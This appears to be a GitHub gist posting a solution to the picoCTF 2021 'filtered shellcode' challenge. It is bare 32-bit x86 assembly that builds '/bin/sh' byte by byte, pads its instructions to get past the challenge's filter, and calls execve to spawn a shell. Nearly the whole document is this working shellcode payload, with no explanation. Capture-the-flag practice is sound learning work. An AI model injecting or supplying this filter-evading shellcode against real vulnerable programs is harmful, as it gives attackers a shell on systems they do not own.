Skip to content

Instantly share code, notes, and snippets.

@MEhrn00
Created April 9, 2021 18:51
Show Gist options
  • Select an option

  • Save MEhrn00/f0908376afba22386c187eb12e864672 to your computer and use it in GitHub Desktop.

Select an option

Save MEhrn00/f0908376afba22386c187eb12e864672 to your computer and use it in GitHub Desktop.
picoctf 2021 filtered shellcode solution
BITS 32
global _start
section .text
_start:
xor eax, eax
push eax
push eax
push eax
push eax
mov edi, esp
mov al, 0x2f
add [edi], al
inc edi
nop
mov al, 0x62
add [edi], al
inc edi
nop
mov al, 0x69
add [edi], al
inc edi
nop
mov al, 0x6e
add [edi], al
inc edi
nop
mov al, 0x2f
add [edi], al
inc edi
nop
mov al, 0x73
add [edi], al
inc edi
nop
mov al, 0x68
add [edi], al
inc edi
nop
xor ebx, ebx
xor ecx, ecx
mov al, 0xb
mov ebx, esp
cdq
nop
int 0x80
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment